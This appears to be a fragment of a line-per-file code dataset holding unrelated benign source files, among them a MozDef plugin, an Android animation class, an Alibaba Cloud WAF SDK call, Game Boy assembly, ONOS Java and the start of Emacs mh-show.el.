\"object\",\n                \"properties\": {\n                    \"utilityVMPath\": {\n                        \"type\": \"string\"\n                    }\n                }\n            }\n        },\n        \"required\": [\n            \"layerFolders\"\n        ]\n    }\n}\n"}
+{"text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n# Copyright (c) 2014 Mozilla Corporation\n\n\nclass message(object):\n    def __init__(self):\n        self.registration = ['githubeventsqs']\n        self.priority = 20\n        self.MAX_STRING_LENGTH = 3000\n\n    def onMessage(self, message, metadata):\n        if 'details' in message:\n            if 'message' in message['details']:\n                if type(message['details']['message']) is str \\\n                        and len(message['details']['message']) > self.MAX_STRING_LENGTH:\n                    message['details']['message'] = message['details']['message'][:self.MAX_STRING_LENGTH]\n                    message['details']['message'] += ' ...'\n\n            if 'cmdline' in message['details']:\n                if type(message['details']['cmdline']) is str \\\n                        and len(message['details']['cmdline']) > self.MAX_STRING_LENGTH:\n                    message['details']['cmdline'] = message['details']['cmdline'][:self.MAX_STRING_LENGTH]\n                    message['details']['cmdline'] += ' ...'\n\n            if 'pr_body' in message['details']:\n                if type(message['details']['pr_body']) is str \\\n                        and len(message['details']['pr_body']) > self.MAX_STRING_LENGTH:\n                    message['details']['pr_body'] = message['details']['pr_body'][:self.MAX_STRING_LENGTH]\n                    message['details']['pr_body'] += ' ...'\n\n        if 'summary' in message:\n            if type(message['summary']) is str \\\n                    and len(message['summary']) > self.MAX_STRING_LENGTH:\n                message['summary'] = message['summary'][:self.MAX_STRING_LENGTH]\n                message['summary'] += ' ...'\n\n        return (message, metadata)\n"}
+{"text": "package com.applikeysolutions.animation.orionpreview;\n\nimport android.animation.AnimatorSet;\nimport android.animation.ObjectAnimator;\nimport android.animation.ValueAnimator;\nimport android.support.v4.view.animation.FastOutSlowInInterpolator;\nimport android.support.v4.view.animation.LinearOutSlowInInterpolator;\nimport android.view.View;\n\npublic class TranslationAnimation extends BaseAnimation {\n    private View view;\n    private final TranslationMode mode;\n    private final ArcMode arcMode;\n    private final float startPoint;\n    private final float endPoint;\n    private final float additionStartPoint;\n    private final float additionEndPoint;\n\n    public enum TranslationMode {\n        TranslationY,\n        TranslationX,\n        TranslationAll\n    }\n\n    public enum ArcMode {\n        ArcUpward,\n        ArcDownard\n    }\n\n    private TranslationAnimation(TranslationAnimationBuilder builder) {\n        this.view = builder.view;\n        this.mode = builder.mode;\n        this.arcMode = builder.arcMode;\n        this.startPoint = builder.startPoint;\n        this.endPoint = builder.endPoint;\n        this.additionStartPoint = builder.additionStartPoint;\n        this.additionEndPoint = builder.additionEndPoint;\n    }\n\n    public void showAnimation() {\n        onStartAnimation();\n    }\n\n    @Override\n    protected void onStartAnimation() {\n        AnimatorSet animatorSet = new AnimatorSet();\n        if (mode.equals(TranslationMode.TranslationAll)) {\n            ObjectAnimator animatorTranslationY = ObjectAnimator.ofFloat(view, \"translationY\",\n                    startPoint, endPoint);\n            ObjectAnimator animatorTranslationX = ObjectAnimator.ofFloat(view, \"translationX\",\n                    additionStartPoint, additionEndPoint);\n\n            if (arcMode.equals(ArcMode.ArcUpward)) {\n                animatorTranslationY.setDuration(SMALL_ANIMATION_DURATION);\n                animatorTranslationX.setDuration(LARGE_ANIMATION_DURATION);\n            } else {\n                animatorTranslationY.setDuration(SMALL_ANIMATION_DOWNARD);\n                animatorTranslationX.setDuration(LARGE_ANIMATION_DURATION);\n            }\n\n            animatorSet.setInterpolator(new LinearOutSlowInInterpolator());\n            animatorSet.play(animatorTranslationY).with(animatorTranslationX);\n            animatorSet.start();\n        } else {\n            final ValueAnimator valueAnimator = ValueAnimator.ofFloat(startPoint, endPoint);\n            valueAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {\n                @Override\n                public void onAnimationUpdate(ValueAnimator animation) {\n                    float value = (float) valueAnimator.getAnimatedValue();\n                    switch (mode) {\n                        case TranslationY:\n                            view.setTranslationY(value);\n                            break;\n                        case TranslationX:\n                            view.setTranslationX(value);\n                            break;\n                    }\n                }\n            });\n\n            valueAnimator.setInterpolator(new FastOutSlowInInterpolator());\n            valueAnimator.setDuration(LARGE_ANIMATION_DURATION);\n            valueAnimator.start();\n        }\n    }\n\n    public static class TranslationAnimationBuilder {\n        private final View view;\n        private final TranslationMode mode;\n        private ArcMode arcMode;\n        private final float startPoint;\n        private final float endPoint;\n        private float additionStartPoint;\n        private float additionEndPoint;\n\n        public TranslationAnimationBuilder(View view, TranslationMode mode, float startPoint, float endPoint) {\n            this.view = view;\n            this.mode = mode;\n            this.startPoint = startPoint;\n            this.endPoint = endPoint;\n        }\n\n        public TranslationAnimationBuilder arcMode(ArcMode arcMode) {\n            this.arcMode = arcMode;\n            return this;\n        }\n\n        public TranslationAnimationBuilder additionStartPoint(float additionStartPoint) {\n            this.additionStartPoint = additionStartPoint;\n            return this;\n        }\n\n        public TranslationAnimationBuilder additionEndPoint(float additionEndPoint) {\n            this.additionEndPoint = additionEndPoint;\n            return this;\n        }\n\n        public TranslationAnimation build() {\n            return new TranslationAnimation(this);\n        }\n    }\n}\n"}
+{"text": "// Namespace CCBV functionality\nvar CCBV = {\n    klass_list: function() { return {\n        /* Methods relating to klass lists */\n        get_secondary_klasses: function () {\n            /* Get lists containing only secondary klasses,\n            and 
    • s with secondary klasses from lists with primary as well. */\n            secondary_lists = $('.klass-list:not(:has(li.primary))');\n            other_secondary_lis = $('.klass-list').not(secondary_lists).find('li.secondary');\n            return $.merge(secondary_lists, other_secondary_lis);\n        },\n        hide_secondary: function () {\n            this.get_secondary_klasses().hide();\n        },\n        toggle_secondary: function () {\n            var klasses = this.get_secondary_klasses();\n            if (!klasses.is(':animated')){\n                klasses.slideToggle();\n            }\n            return klasses;\n        }\n    };}(),\n\n    method_list: function() { return {\n        /* Methods related to method list in a class definition */\n        get_methods: function() {\n            return $('#method-list .collapse');\n        },\n        collapse: function() {\n            var methods = this.get_methods();\n            methods.collapse('hide');\n            methods.on('hidden', function () {\n                $(this).removeClass('in');\n            });\n            return methods;\n        },\n        expand: function() {\n            var methods = this.get_methods();\n            methods.collapse('show');\n            methods.on('shown', function () {\n                $(this).addClass('in');\n            });\n            return methods;\n        }\n    };}()\n};\n"}
+{"text": "package waf_openapi\n\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n//\n// Code generated by Alibaba Cloud SDK Code Generator.\n// Changes may cause incorrect behavior and will be lost if the code is regenerated.\n\nimport (\n\t\"github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests\"\n\t\"github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses\"\n)\n\n// ModifyDomainIpv6Status invokes the waf_openapi.ModifyDomainIpv6Status API synchronously\n// api document: https://help.aliyun.com/api/waf-openapi/modifydomainipv6status.html\nfunc (client *Client) ModifyDomainIpv6Status(request *ModifyDomainIpv6StatusRequest) (response *ModifyDomainIpv6StatusResponse, err error) {\n\tresponse = CreateModifyDomainIpv6StatusResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}\n\n// ModifyDomainIpv6StatusWithChan invokes the waf_openapi.ModifyDomainIpv6Status API asynchronously\n// api document: https://help.aliyun.com/api/waf-openapi/modifydomainipv6status.html\n// asynchronous document: https://help.aliyun.com/document_detail/66220.html\nfunc (client *Client) ModifyDomainIpv6StatusWithChan(request *ModifyDomainIpv6StatusRequest) (<-chan *ModifyDomainIpv6StatusResponse, <-chan error) {\n\tresponseChan := make(chan *ModifyDomainIpv6StatusResponse, 1)\n\terrChan := make(chan error, 1)\n\terr := client.AddAsyncTask(func() {\n\t\tdefer close(responseChan)\n\t\tdefer close(errChan)\n\t\tresponse, err := client.ModifyDomainIpv6Status(request)\n\t\tif err != nil {\n\t\t\terrChan <- err\n\t\t} else {\n\t\t\tresponseChan <- response\n\t\t}\n\t})\n\tif err != nil {\n\t\terrChan <- err\n\t\tclose(responseChan)\n\t\tclose(errChan)\n\t}\n\treturn responseChan, errChan\n}\n\n// ModifyDomainIpv6StatusWithCallback invokes the waf_openapi.ModifyDomainIpv6Status API asynchronously\n// api document: https://help.aliyun.com/api/waf-openapi/modifydomainipv6status.html\n// asynchronous document: https://help.aliyun.com/document_detail/66220.html\nfunc (client *Client) ModifyDomainIpv6StatusWithCallback(request *ModifyDomainIpv6StatusRequest, callback func(response *ModifyDomainIpv6StatusResponse, err error)) <-chan int {\n\tresult := make(chan int, 1)\n\terr := client.AddAsyncTask(func() {\n\t\tvar response *ModifyDomainIpv6StatusResponse\n\t\tvar err error\n\t\tdefer close(result)\n\t\tresponse, err = client.ModifyDomainIpv6Status(request)\n\t\tcallback(response, err)\n\t\tresult <- 1\n\t})\n\tif err != nil {\n\t\tdefer close(result)\n\t\tcallback(nil, err)\n\t\tresult <- 0\n\t}\n\treturn result\n}\n\n// ModifyDomainIpv6StatusRequest is the request struct for api ModifyDomainIpv6Status\ntype ModifyDomainIpv6StatusRequest struct {\n\t*requests.RpcRequest\n\tWafVersion string `position:\"Query\" name:\"WafVersion\"`\n\tEnabled    string `position:\"Query\" name:\"Enabled\"`\n\tInstanceId string `position:\"Query\" name:\"InstanceId\"`\n\tSourceIp   string `position:\"Query\" name:\"SourceIp\"`\n\tDomain     string `position:\"Query\" name:\"Domain\"`\n\tLang       string `position:\"Query\" name:\"Lang\"`\n}\n\n// ModifyDomainIpv6StatusResponse is the response struct for api ModifyDomainIpv6Status\ntype ModifyDomainIpv6StatusResponse struct {\n\t*responses.BaseResponse\n\tRequestId string `json:\"RequestId\" xml:\"RequestId\"`\n}\n\n// CreateModifyDomainIpv6StatusRequest creates a request to invoke ModifyDomainIpv6Status API\nfunc CreateModifyDomainIpv6StatusRequest() (request *ModifyDomainIpv6StatusRequest) {\n\trequest = &ModifyDomainIpv6StatusRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"waf-openapi\", \"2019-09-10\", \"ModifyDomainIpv6Status\", \"waf\", \"openAPI\")\n\trequest.Method = requests.POST\n\treturn\n}\n\n// CreateModifyDomainIpv6StatusResponse creates a response to parse from ModifyDomainIpv6Status response\nfunc CreateModifyDomainIpv6StatusResponse() (response *ModifyDomainIpv6StatusResponse) {\n\tresponse = &ModifyDomainIpv6StatusResponse{\n\t\tBaseResponse: &responses.BaseResponse{},\n\t}\n\treturn\n}\n"}
+{"text": ".size 8000\n\n.text@48\n\tjp lstatint\n\n.text@100\n\tjp lbegin\n\n.data@143\n\tc0\n\n.text@150\nlbegin:\n\tld a, 00\n\tldff(ff), a\n\tld a, 30\n\tldff(00), a\n\tld a, 01\n\tldff(4d), a\n\tstop, 00\n\tld a, ff\n\tldff(45), a\n\tld b, 91\n\tcall lwaitly_b\n\tld hl, fe00\n\tld d, 10\n\tld a, d\n\tld(hl++), a\n\tld a, 08\n\tld(hl++), a\n\tinc l\n\tinc l\n\tld a, d\n\tinc l\n\tinc l\n\tld a, 18\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 20\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 28\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 30\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 38\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 40\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 48\n\tinc l\n\tinc l\n\tld a, d\n\tld a, 50\n\tld a, 40\n\tldff(41), a\n\tld a, 02\n\tldff(ff), a\n\txor a, a\n\tldff(0f), a\n\tei\n\tld a, 07\n\tldff(45), a\n\tld c, 41\n\tld a, 93\n\tldff(40), a\n\n.text@1000\nlstatint:\n\tnop\n\n.text@10d8\n\tld a, 97\n\tldff(40), a\n\n.text@115c\n\tldff a, (c)\n\tand a, 03\n\tjp lprint_a\n\n.text@7000\nlprint_a:\n\tpush af\n\tld b, 91\n\tcall lwaitly_b\n\txor a, a\n\tldff(40), a\n\tpop af\n\tld(9800), a\n\tld bc, 7a00\n\tld hl, 8000\n\tld d, a0\nlprint_copytiles:\n\tld a, (bc)\n\tinc bc\n\tld(hl++), a\n\tdec d\n\tjrnz lprint_copytiles\n\tld a, c0\n\tldff(47), a\n\tld a, 80\n\tldff(68), a\n\tld a, ff\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\txor a, a\n\tldff(69), a\n\tldff(69), a\n\tldff(43), a\n\tld a, 91\n\tldff(40), a\nlprint_limbo:\n\tjr lprint_limbo\n\n.text@7400\nlwaitly_b:\n\tld c, 44\nlwaitly_b_loop:\n\tldff a, (c)\n\tcmp a, b\n\tjrnz lwaitly_b_loop\n\tret\n\n.data@7a00\n\t00 00 7f 7f 41 41 41 41\n\t41 41 41 41 41 41 7f 7f\n\t00 00 08 08 08 08 08 08\n\t08 08 08 08 08 08 08 08\n\t00 00 7f 7f 01 01 01 01\n\t7f 7f 40 40 40 40 7f 7f\n\t00 00 7f 7f 01 01 01 01\n\t3f 3f 01 01 01 01 7f 7f\n\t00 00 41 41 41 41 41 41\n\t7f 7f 01 01 01 01 01 01\n\t00 00 7f 7f 40 40 40 40\n\t7e 7e 01 01 01 01 7e 7e\n\t00 00 7f 7f 40 40 40 40\n\t7f 7f 41 41 41 41 7f 7f\n\t00 00 7f 7f 01 01 02 02\n\t04 04 08 08 10 10 10 10\n\t00 00 3e 3e 41 41 41 41\n\t3e 3e 41 41 41 41 3e 3e\n\t00 00 7f 7f 41 41 41 41\n\t7f 7f 01 01 01 01 7f 7f\n\n"}
+{"text": "require_relative '../../../spec_helper'\nrequire_relative 'shared/constants'\n\ndescribe \"Digest::MD5#digest!\" do\n\n  it \"returns a digest and can digest!\" do\n    cur_digest = Digest::MD5.new\n    cur_digest << MD5Constants::Contents\n    cur_digest.digest!().should == MD5Constants::Digest\n    cur_digest.digest().should == MD5Constants::BlankDigest\n  end\n\nend\n"}
+{"text": "\"use strict\";\n\nvar _classCallCheck2 = require(\"babel-runtime/helpers/classCallCheck\");\n\nvar _classCallCheck3 = _interopRequireDefault(_classCallCheck2);\n\nvar _promise = require(\"babel-runtime/core-js/promise\");\n\nvar _promise2 = _interopRequireDefault(_promise);\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nvar db;\nvar idb_helper;\n\nmodule.exports = idb_helper = {\n\n    set_graphene_db: function set_graphene_db(database) {\n        db = database;\n    },\n\n    trx_readwrite: function trx_readwrite(object_stores) {\n        return db.transaction([object_stores], \"readwrite\");\n    },\n\n    on_request_end: function on_request_end(request) {\n        //return request => {\n        return new _promise2.default(function (resolve, reject) {\n            request.onsuccess = new ChainEvent(request.onsuccess, resolve, request).event;\n            request.onerror = new ChainEvent(request.onerror, reject, request).event;\n        });\n        //}(request)\n    },\n\n    on_transaction_end: function on_transaction_end(transaction) {\n        return new _promise2.default(function (resolve, reject) {\n            transaction.oncomplete = new ChainEvent(transaction.oncomplete, resolve).event;\n            transaction.onabort = new ChainEvent(transaction.onabort, reject).event;\n        });\n    },\n\n    /** Chain an add event.  Provide the @param store and @param object and\n        this method gives you convenient hooks into the database events.\n        United Labs of BCTech.\n        @param event_callback (within active transaction)\n        @return Promise (resolves or rejects outside of the transaction)\n    */\n    add: function add(store, object, event_callback) {\n        return function (object, event_callback) {\n            var request = store.add(object);\n            var event_promise = null;\n            if (event_callback) request.onsuccess = new ChainEvent(request.onsuccess, function (event) {\n                event_promise = event_callback(event);\n            }).event;\n\n            var request_promise = idb_helper.on_request_end(request).then(function (event) {\n                //DEBUG console.log('... object',object,'result',event.target.result,'event',event)\n                if (event.target.result != void 0) {\n                    //todo does event provide the keyPath name? (instead of id)\n                    object.id = event.target.result;\n                }\n                return [object, event];\n            });\n\n            if (event_promise) return _promise2.default.all([event_promise, request_promise]);\n            return request_promise;\n        }(object, event_callback); //copy var references for callbacks\n    },\n\n    /** callback may return false to indicate that iteration should stop */\n    cursor: function cursor(store_name, callback, transaction) {\n        return new _promise2.default(function (resolve, reject) {\n            if (!transaction) {\n                transaction = db.transaction([store_name], \"readonly\");\n                transaction.onerror = function (error) {\n                    console.error(\"ERROR idb_helper.cursor transaction\", error);\n                    reject(error);\n                };\n            }\n            var store = transaction.objectStore(store_name);\n            var request = store.openCursor();\n            request.onsuccess = function (e) {\n                var cursor = e.target.result;\n                var ret = callback(cursor, e);\n                if (ret === false) resolve();\n                if (!cursor) resolve(ret);\n            };\n            request.onerror = function (e) {\n                var error = {\n                    error: e.target.error.message,\n                    data: e\n                };\n                console.log(\"ERROR idb_helper.cursor request\", error);\n                reject(error);\n            };\n        }).then();\n    },\n\n    autoIncrement_unique: function autoIncrement_unique(db, table_name, unique_index) {\n        return db.createObjectStore(table_name, { keyPath: \"id\", autoIncrement: true }).createIndex(\"by_\" + unique_index, unique_index, { unique: true });\n    }\n\n};\n\nvar ChainEvent = function ChainEvent(existing_on_event, callback, request) {\n    (0, _classCallCheck3.default)(this, ChainEvent);\n\n    this.event = function (event) {\n        if (event.target.error) console.error(\"---- transaction error ---->\", event.target.error);\n        //event.request = request\n        callback(event);\n        if (existing_on_event) existing_on_event(event);\n    };\n};"}
+{"text": "var baseIsSet = require('./_baseIsSet'),\n    baseUnary = require('./_baseUnary'),\n    nodeUtil = require('./_nodeUtil');\n\n/* Node.js helper references. */\nvar nodeIsSet = nodeUtil && nodeUtil.isSet;\n\n/**\n * Checks if `value` is classified as a `Set` object.\n *\n * @static\n * @memberOf _\n * @since 4.3.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a set, else `false`.\n * @example\n *\n * _.isSet(new Set);\n * // => true\n *\n * _.isSet(new WeakSet);\n * // => false\n */\nvar isSet = nodeIsSet ? baseUnary(nodeIsSet) : baseIsSet;\n\nmodule.exports = isSet;\n"}
+{"text": "/// \n/// \n/// \n/// \nvar SignalRServerAdapter = (function () {\n    function SignalRServerAdapter(chatHubServer) {\n        this.hubServer = chatHubServer;\n    }\n    // sends a message to a room, conversation or user\n    SignalRServerAdapter.prototype.sendMessage = function (roomId, conversationId, otherUserId, messageText, clientGuid, done) {\n        this.hubServer.sendMessage(roomId, conversationId, otherUserId, messageText, clientGuid).done(function () {\n            done();\n        });\n    };\n    // sends a typing signal to a room, conversation or user\n    SignalRServerAdapter.prototype.sendTypingSignal = function (roomId, conversationId, userToId, done) {\n        this.hubServer.sendTypingSignal(roomId, conversationId, userToId).done(function () {\n            done();\n        });\n    };\n    // gets the message history from a room, conversation or user\n    SignalRServerAdapter.prototype.getMessageHistory = function (roomId, conversationId, otherUserId, done) {\n        this.hubServer.getMessageHistory(roomId, conversationId, otherUserId).done(function (messageHistory) {\n            done(messageHistory);\n        });\n    };\n    // gets the given user info\n    SignalRServerAdapter.prototype.getUserInfo = function (userId, done) {\n        this.hubServer.getUserInfo(userId).done(function (userInfo) {\n            done(userInfo);\n        });\n    };\n    // gets the user list in a room or conversation\n    SignalRServerAdapter.prototype.getUserList = function (roomId, conversationId, done) {\n        this.hubServer.getUserList(roomId, conversationId).done(function (userList) {\n            done(userList);\n        });\n    };\n    // gets the rooms list\n    SignalRServerAdapter.prototype.getRoomsList = function (done) {\n        this.hubServer.getRoomsList().done(function (roomsList) {\n            done(roomsList);\n        });\n    };\n    // enters the given room\n    SignalRServerAdapter.prototype.enterRoom = function (roomId, done) {\n        this.hubServer.enterRoom(roomId).done(function () {\n            done();\n        });\n    };\n    // leaves the given room\n    SignalRServerAdapter.prototype.leaveRoom = function (roomId, done) {\n        this.hubServer.leaveRoom(roomId).done(function () {\n            done();\n        });\n    };\n    return SignalRServerAdapter;\n})();\nvar SignalRClientAdapter = (function () {\n    function SignalRClientAdapter(chatHubClient) {\n        var _this = this;\n        this.messagesChangedHandlers = [];\n        this.typingSignalReceivedHandlers = [];\n        this.userListChangedHandlers = [];\n        this.roomListChangedHandlers = [];\n        this.hubClient = chatHubClient;\n        // called by the server when a new message arrives\n        this.hubClient.sendMessage = function (message) {\n            _this.triggerMessagesChanged(message);\n        };\n        this.hubClient.sendTypingSignal = function (typingSignal) {\n            _this.triggerTypingSignalReceived(typingSignal);\n        };\n        this.hubClient.userListChanged = function (userListChangedInfo) {\n            _this.triggerUserListChanged(userListChangedInfo);\n        };\n        this.hubClient.roomListChanged = function (roomListChangedInfo) {\n            _this.triggerRoomListChanged(roomListChangedInfo);\n        };\n    }\n    // adds a handler to the messagesChanged event\n    SignalRClientAdapter.prototype.onMessagesChanged = function (handler) {\n        this.messagesChangedHandlers.push(handler);\n    };\n    // adds a handler to the typingSignalReceived event\n    SignalRClientAdapter.prototype.onTypingSignalReceived = function (handler) {\n        this.typingSignalReceivedHandlers.push(handler);\n    };\n    // adds a handler to the userListChanged event\n    SignalRClientAdapter.prototype.onUserListChanged = function (handler) {\n        this.userListChangedHandlers.push(handler);\n    };\n    // adds a handler to the roomListChanged\n    SignalRClientAdapter.prototype.onRoomListChanged = function (handler) {\n        this.roomListChangedHandlers.push(handler);\n    };\n    SignalRClientAdapter.prototype.triggerMessagesChanged = function (message) {\n        for (var i = 0; i < this.messagesChangedHandlers.length; i++)\n            this.messagesChangedHandlers[i](message);\n    };\n    SignalRClientAdapter.prototype.triggerTypingSignalReceived = function (typingSignal) {\n        for (var i = 0; i < this.typingSignalReceivedHandlers.length; i++)\n            this.typingSignalReceivedHandlers[i](typingSignal);\n    };\n    SignalRClientAdapter.prototype.triggerUserListChanged = function (userListChangedInfo) {\n        for (var i = 0; i < this.userListChangedHandlers.length; i++)\n            this.userListChangedHandlers[i](userListChangedInfo);\n    };\n    SignalRClientAdapter.prototype.triggerRoomListChanged = function (roomListChangedInfo) {\n        for (var i = 0; i < this.roomListChangedHandlers.length; i++)\n            this.roomListChangedHandlers[i](roomListChangedInfo);\n    };\n    return SignalRClientAdapter;\n})();\nvar SignalRAdapterOptions = (function () {\n    function SignalRAdapterOptions() {\n    }\n    return SignalRAdapterOptions;\n})();\nvar SignalRAdapter = (function () {\n    function SignalRAdapter(options) {\n        var defaultOptions = new SignalRAdapterOptions();\n        defaultOptions.chatHubName = \"chatHub\";\n        this.options = $.extend({}, defaultOptions, options);\n    }\n    SignalRAdapter.prototype.init = function (done) {\n        this.hub = $.connection[this.options.chatHubName];\n        this.client = new SignalRClientAdapter(this.hub.client);\n        this.server = new SignalRServerAdapter(this.hub.server);\n        if (!window.chatJsHubReady)\n            window.chatJsHubReady = $.connection.hub.start();\n        window.chatJsHubReady.done(function () {\n            // function passed by ChatJS to the adapter to be called when the adapter initialization is completed\n            done();\n        });\n    };\n    return SignalRAdapter;\n})();\n//# sourceMappingURL=jquery.chatjs.adapter.signalr.js.map"}
+{"text": "\n\n\n  \n\n  \n    \n      Avoid too many methods\n    \n    3\n    \n      \n    \n    \n      \n    \n  \n\n  \n    \n      Avoid if without using brace\n    \n    \n      \n        \n          \n        \n      \n    \n    \n      \n    \n  \n\n  \n    \n      IOException should never be extended. Either use it, or extend Exception for your own business exceptions.\n    \n    \n      \n        \n          \n        \n      \n    \n    \n      \n    \n  \n\n"}
+{"text": "/*\n * Copyright 2017-present Open Networking Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n\npackage org.onosproject.ui.impl;\n\nimport com.fasterxml.jackson.databind.node.ObjectNode;\nimport com.google.common.collect.ImmutableSet;\nimport org.onosproject.store.primitives.PartitionAdminService;\nimport org.onosproject.store.service.PartitionInfo;\nimport org.onosproject.ui.RequestHandler;\nimport org.onosproject.ui.UiMessageHandler;\nimport org.onosproject.ui.table.CellFormatter;\nimport org.onosproject.ui.table.TableModel;\nimport org.onosproject.ui.table.TableRequestHandler;\n\nimport java.util.Collection;\nimport java.util.List;\n\n/**\n * Message handler for partition view related messages.\n */\npublic class PartitionViewMessageHandler extends UiMessageHandler {\n    private static final String PARTITION_DATA_REQ = \"partitionDataRequest\";\n    private static final String PARTITION_DATA_RESP = \"partitionDataResponse\";\n    private static final String PARTITIONS = \"partitions\";\n\n    private static final String NAME = \"name\";\n    private static final String TERM = \"term\";\n    private static final String LEADER = \"leader\";\n    private static final String MEMBERS = \"members\";\n\n    private static final String[] COL_IDS = {NAME, TERM, LEADER, MEMBERS};\n\n    @Override\n    protected Collection createRequestHandlers() {\n        return ImmutableSet.of(new PartitionDataHandler());\n    }\n\n    private final class PartitionDataHandler extends TableRequestHandler {\n        private static final String NO_ROWS_MESSAGE = \"No partitions found\";\n\n        private PartitionDataHandler() {\n            super(PARTITION_DATA_REQ, PARTITION_DATA_RESP, PARTITIONS);\n        }\n\n        @Override\n        protected String[] getColumnIds() {\n            return COL_IDS;\n        }\n\n        @Override\n        protected String noRowsMessage(ObjectNode payload) {\n            return NO_ROWS_MESSAGE;\n        }\n\n        @Override\n        protected String defaultColumnId() {\n            return NAME;\n        }\n\n        @Override\n        protected TableModel createTableModel() {\n            TableModel tm = super.createTableModel();\n            tm.setFormatter(MEMBERS, new MembersFormatter());\n            return tm;\n        }\n\n        @Override\n        protected void populateTable(TableModel tm, ObjectNode payload) {\n            PartitionAdminService ps = get(PartitionAdminService.class);\n            for (PartitionInfo partition : ps.partitionInfo()) {\n                populateRow(tm.addRow(), partition);\n            }\n        }\n\n        private void populateRow(TableModel.Row row, PartitionInfo p) {\n            row.cell(NAME, p.id())\n                    .cell(TERM, p.term())\n                    .cell(LEADER, p.leader())\n                    .cell(MEMBERS, p.members());\n        }\n\n        private final class MembersFormatter implements CellFormatter {\n            private static final String COMMA = \", \";\n\n            @Override\n            public String format(Object value) {\n                List members = (List) value;\n                if (members.isEmpty()) {\n                    return \"(No members for this partition)\";\n                }\n                StringBuilder sb = new StringBuilder();\n                for (String m : members) {\n                    sb.append(m).append(COMMA);\n                }\n                removeTrailingComma(sb);\n\n                return sb.toString();\n            }\n\n            private StringBuilder removeTrailingComma(StringBuilder sb) {\n                int pos = sb.lastIndexOf(COMMA);\n                sb.delete(pos, sb.length());\n                return sb;\n            }\n        }\n    }\n}\n"}
+{"text": ";;; mh-show.el --- MH-Show mode\n\n;; Copyright (C) 1993, 1995, 1997, 2000-2020 Free Software Foundation,\n;; Inc.\n\n;; Author: Bill Wohler \n;; Keywords: mail\n;; See: mh-e.el\n\n;; This file is part of GNU Emacs.\n\n;; GNU Emacs is free software: you can redistribute it and/or modify\n;; it under the terms of the GNU General Public License as published by\n;; the Free Software Foundation, either version 3 of the License, or\n;; (at your option) any later version.\n\n;; GNU Emacs is distributed in the hope that it will be useful,\n;; but WITHOUT ANY WARRANTY; without even the implied warranty of\n;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;; GNU General Public License for more details.\n\n;; You should have received a copy of the GNU General Public License\n;; along with GNU Emacs.  If not, see .\n\n;;; Commentary:\n\n;; Mode for showing messages.\n\n;;; Change Log:\n\n;;; Code:\n\n(require 'mh-e)\n(require 'mh-scan)\n\n;; Dynamically-created function not found in mh-loaddefs.el.\n(autoload 'mh-tool-bar-init \"mh-tool-bar\")\n\n(require 'font-lock)\n(require 'gnus-cite)\n(require 'gnus-util)\n(require 'goto-addr)\n\n(autoload 'mh-make-buffer-data \"mh-mime\") ;can't be automatically generated\n\n\f\n\n;;; MH-Folder Commands\n\n(defvar mh-showing-with-headers nil\n  \"If non-nil, MH-Show buffer contains message with all header fields.\nIf nil, MH-Show buffer contains message processed normally.\")\n\n;;;###mh-autoload\n(defun mh-show (&optional message redisplay-flag)\n  \"Display message\\\\.\n\nIf the message under the cursor is already displayed, this command\nscrolls to the beginning of the message. MH-E normally hides a lot of\nthe superfluous header fields that mailers add to a message, but if\nyou wish to see all of them, use the command \\\\[mh-header-display].\n\nTwo hooks can be used to control how messages are displayed. The\nfirst hook, `mh-show-mode-hook', is called early on in the\nprocess of the message display. It is usually used to perform\nsome action on the message's buffer. The second hook,\n`mh-show-hook', is the last thing called after messages are\ndisplayed. It's used to affect the behavior of MH-E in general or\nwhen `mh-show-mode-hook' is too early.\n\nFrom a program, optional argument MESSAGE can be used to display an\nalternative message. The optional argument REDISPLAY-FLAG forces the\nredisplay of the message even if the show buffer was already\ndisplaying the correct message.\n\nSee the \\\"mh-show\\\" customization group for a litany of options that\ncontrol what displayed messages look like.\"\n  (interactive (list nil t))\n  (when (or redisplay-flag\n            (and mh-showing-with-headers\n                 (or mh-mhl-format-file mh-clean-message-header-flag)))\n    (mh-invalidate-show-buffer))\n  (mh-show-msg message))\n\n;;;###mh-autoload\n(defun mh-header-display ()\n  \"Display message with all header fields\\\\.\n\nUse the command \\\\[mh-show] to show the message normally again.\"\n  (interactive)\n  (and (not mh-showing-with-headers)\n       (or mh-mhl-format-file mh-clean-message-header-flag)\n       (mh-invalidate-show-buffer))\n  (let ((mh-decode-mime-flag nil)\n        (mh-mhl-format-file nil)\n        (mh-clean-message-header-flag nil))\n    (mh-show-msg nil)\n    (mh-in-show-buffer (mh-show-buffer)\n      (goto-char (point-min))\n      (mh-recenter 0))\n    (setq mh-showing-with-headers t)))\n\n;;;###mh-autoload\n(defun  mh-show-preferred-alternative ()\n  